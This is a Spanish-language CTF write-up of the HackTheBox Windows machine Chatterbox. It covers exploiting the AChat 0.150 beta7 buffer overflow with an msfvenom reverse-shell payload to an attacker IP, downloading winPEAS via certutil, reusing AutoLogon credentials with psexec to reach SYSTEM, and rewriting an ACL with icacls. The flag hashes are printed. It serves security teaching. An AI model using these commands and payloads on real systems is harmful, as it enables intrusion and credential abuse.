the_open_door
café
ESEN

Chatterbox

HackTheBoxMediaWindows10.10.10.74

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#achat#buffer-overflow#bof#msfvenom#unicode-shellcode#autologon#password-reuse#psexec#icacls#privilege-escalation
TL;DR. Chatterbox es una caja Windows antigua (Server 2008 R2, 32 bits) que corre Achat 0.150 beta7, vulnerable a un desbordamiento de búfer remoto. Con un shellcode generado por msfvenom (codificación unicode) obtenemos shell como alfred. En la escalada, winPEAS encuentra credenciales de inicio de sesión automático (AutoLogon): Alfred:Welcome1!. Esa contraseña está reutilizada en el Administrador, así que entramos como SYSTEM con psexec.py. La flag de root tiene una ACL que excluye a SYSTEM, pero la reescribimos con icacls y la leemos.

Reconocimiento

Escaneo inicial

ping -c 1 10.10.10.74

ping a 10.10.10.74 con ttl=127

64 bytes from 10.10.10.74: icmp_seq=1 ttl=127 time=107 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido UDP de los puertos comunes no devuelve nada útil:

nmap -sU --min-rate 5000 -Pn -n --open --top-ports 1000 10.10.10.74

el escaneo UDP no reporta ningún puerto abierto

Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-22 14:14 UTC
Initiating UDP Scan at 14:14
Scanning 10.10.10.74 [1000 ports]
Completed UDP Scan at 14:14, 1.60s elapsed (1000 total ports)
Nmap scan report for 10.10.10.74
Host is up, received user-set (0.15s latency).
Not shown: 289 closed udp ports (port-unreach)
PORT      STATE      SERVICE           REASON

Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds

El TCP completo deja puertos clásicos de Windows más dos poco habituales, 9255/9256:

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.10.74

escaneo TCP -p- con 135, 139, 445, 9255 y 9256 abiertos (ttl 127)

PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
9255/tcp open  http
9256/tcp open  achat

extractPorts, una función del .zshrc, resume el fichero -oG y deja los once puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Chatterbox: IP 10.10.10.74 y los once puertos abiertos, copiados al portapapeles

Extracting information ...
IP Address: 10.10.10.74
Open ports: 135,139,445,9255,9256,49152,49153,49154,49155,49156,49157

Ports copied to clipboard
nmap -p135,139,445,9255,9256 -sCV 10.10.10.74

escaneo -sCV: 445 Windows 7 Professional 7601 SP1 y 9255/9256 AChat chat system

135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows 7 Professional 7601 SP1 (workgroup: WORKGROUP)
9255/tcp open  http         AChat chat system httpd
9256/tcp open  achat        AChat chat system

Los puertos 9255 y 9256 son la firma de AChat, un sistema de chat de escritorio. Que un servicio así esté expuesto en una máquina antigua es la pista principal: AChat arrastra un desbordamiento de búfer remoto muy conocido.

Buscar el exploit de AChat

searchsploit achat

searchsploit muestra el buffer overflow remoto de Achat 0.150 beta7

Exploit Title                                             Path
------------------------------------------------------- --------------------------
Achat 0.150 beta7 - Remote Buffer Overflow              | windows/remote/36025.py
Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit) | windows/remote/36056.rb
MataChat - 'input.php' Multiple Cross-Site Scripting    | php/webapps/32958.txt
Parachat 5.5 - Directory Traversal                      | php/webapps/24647.txt

Aparecen dos resultados sobre un desbordamiento remoto en la versión 0.150 beta7. No podemos confirmar la versión exacta a distancia, pero el exploit es barato de probar, así que lo descargamos.

Explotación

UDP 9256: desbordamiento de búfer en AChat 0.150 beta7

El exploit público envía un paquete UDP al puerto 9256 que desborda un búfer en la pila (stack buffer overflow). Su problema: el shellcode incluido solo abre la calculadora. Hay que sustituirlo por uno que nos dé una reverse shell.

AChat procesa el mensaje como texto unicode, así que el shellcode debe sobrevivir a esa transformación: por eso msfvenom usa el codificador x86/unicode_mixed y BufferRegister=EAX, además de una larga lista de bad chars:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.16.4 LPORT=4444 \
  -e x86/unicode_mixed -b '\x00\x80\x81...\xff' BufferRegister=EAX -f python

generación del shellcode unicode con msfvenom

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 774 (iteration=0)
x86/unicode_mixed chosen with final size 774
Payload size: 774 bytes
Final size of python file: 3822 bytes
buf =  b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
...

Reemplazamos el shellcode de la calculadora por el nuestro dentro del exploit y ajustamos la IP del objetivo:

shellcode reemplazado en el exploit

Acceso como alfred

Con el listener a la escucha, lanzamos el exploit con Python 2:

nc -lvnp 4444
python2 achat_exploit.py

reverse shell obtenida como alfred

El desbordamiento ejecuta nuestro shellcode y recibimos la shell como chatterbox\alfred. Leemos la flag de usuario:

C:\Users>whoami
chatterbox\alfred
C:\Users>type alfred\desktop\user.txt
5ba2e3789616d159f9d04a0c5a996a55

shell como chatterbox\alfred leyendo user.txt

Escalada de privilegios

Enumeración con winPEAS: credenciales de AutoLogon

La máquina es de 32 bits, así que descargamos la variante x86 de winPEAS desde el repo de PEASS-ng (la x64 no leería la vista de registro correcta):

Página de releases de PEASS-ng con winPEASx86.exe

Lo servimos por HTTP y lo subimos a la víctima con certutil:

certutil.exe -f -urlcache -split http://10.10.16.4/winPEASx86.exe winPEASx86.exe
.\winPEASx86.exe

certutil descarga winPEASx86.exe en la víctima; el http.server registra las peticiones

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.74 - - [22/Dec/2025 17:02:36] "GET /winPEASx86.exe HTTP/1.1" 200 -
10.10.10.74 - - [22/Dec/2025 17:02:43] "GET /winPEASx86.exe HTTP/1.1" 200 -

certutil.exe -f -urlcache -split http://10.10.16.4/winPEASx86.exe winPEASx86.exe
****  Online  ****
  000000  ...
  9b3600
CertUtil: -URLCache command completed successfully.

Entre los hallazgos, winPEAS resalta credenciales de inicio de sesión automático (AutoLogon). El mismo dato se lee a mano consultando el registro, donde AutoLogon guarda la contraseña en claro:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

winPEAS revela DefaultUserName Alfred y DefaultPassword Welcome1!

Looking for AutoLogon credentials
    DefaultUserName  :  Alfred
    DefaultPassword  :  Welcome1!

La contraseña Welcome1! es la de alfred, el usuario en el que ya estamos. Por sí sola no escala nada. Pero las contraseñas se reutilizan: el reflejo inmediato es probarla en cuentas más privilegiadas.

Reutilización de contraseña: SYSTEM con psexec

Validamos Welcome1! contra el Administrador y resulta correcta; como WinRM no está habilitado, abrimos la shell por SMB con psexec.py (reutilización de credenciales):

netexec smb 10.10.10.74 -u 'Administrator' -p 'Welcome1!'
psexec.py 'Administrator:Welcome1!'@10.10.10.74

netexec marca Pwn3d! y psexec abre una shell como nt authority\system

SMB  10.10.10.74  445  CHATTERBOX  [+] Chatterbox\Administrator:Welcome1! (Pwn3d!)
...
C:\Windows\system32> whoami
nt authority\system

La contraseña de autologon estaba reutilizada en el Administrador. psexec.py crea un servicio y nos deja como NT AUTHORITY\SYSTEM.

Root flag: reescribir la ACL con icacls

Sorprendentemente, leer root.txt como SYSTEM falla con Access is denied. No es un bug: la ACL del fichero no incluye a SYSTEM. Como SYSTEM/Administrador puede reescribir ACL, nos concedemos control total y leemos (abuso de icacls):

icacls root.txt /grant "nt authority\system":F
type root.txt

icacls concede control a SYSTEM y se lee la root flag

d6edc7d33b0114f4097486b2e343252b
C:\Users\Administrator\Desktop> type root.txt
Access is denied.
C:\Users\Administrator\Desktop> icacls root.txt /grant "nt authority\system":F
processed file: root.txt
Successfully processed 1 files; Failed processing 0 files
C:\Users\Administrator\Desktop> type root.txt
d6edc7d33b0114f4097486b2e343252b

Cadena de ataque

AChat 0.150 beta7 (UDP 9256)
   └── buffer overflow + shellcode unicode (msfvenom)
        └── reverse shell como alfred  (user.txt)
             └── winPEAS → AutoLogon: Alfred:Welcome1!
                  └── password reuse en Administrator (netexec Pwn3d!)
                       └── psexec.py → NT AUTHORITY\SYSTEM
                            └── icacls root.txt /grant ── leer root.txt  (root.txt)

Lecciones aprendidas

  • Un puerto raro es la pista. 9255/9256 no son habituales; identificar AChat dirigió toda la explotación a un desbordamiento conocido en lugar de a fuerza bruta ciega.
  • El shellcode debe sobrevivir al transporte. AChat trata el mensaje como unicode; sin el codificador x86/unicode_mixed y los bad chars correctos, el payload se corrompe y no ejecuta.
  • El autologon guarda la contraseña en claro. winPEAS la extrae del registro (Winlogon); en máquinas de 32 bits hay que usar la versión x86 para leer la vista de registro adecuada.
  • La contraseña de autologon suele reutilizarse. El salto a Administrador no fue otro exploit, sino probar la misma contraseña: validar siempre las credenciales encontradas en otras cuentas.
  • SYSTEM no lo lee todo. El acceso lo decide la ACL del fichero, no el "rango" de la cuenta; con icacls se reescribe la ACL y se sortea un Access is denied.
Cheatsheet de comandos 10 comandos

Repaso rápido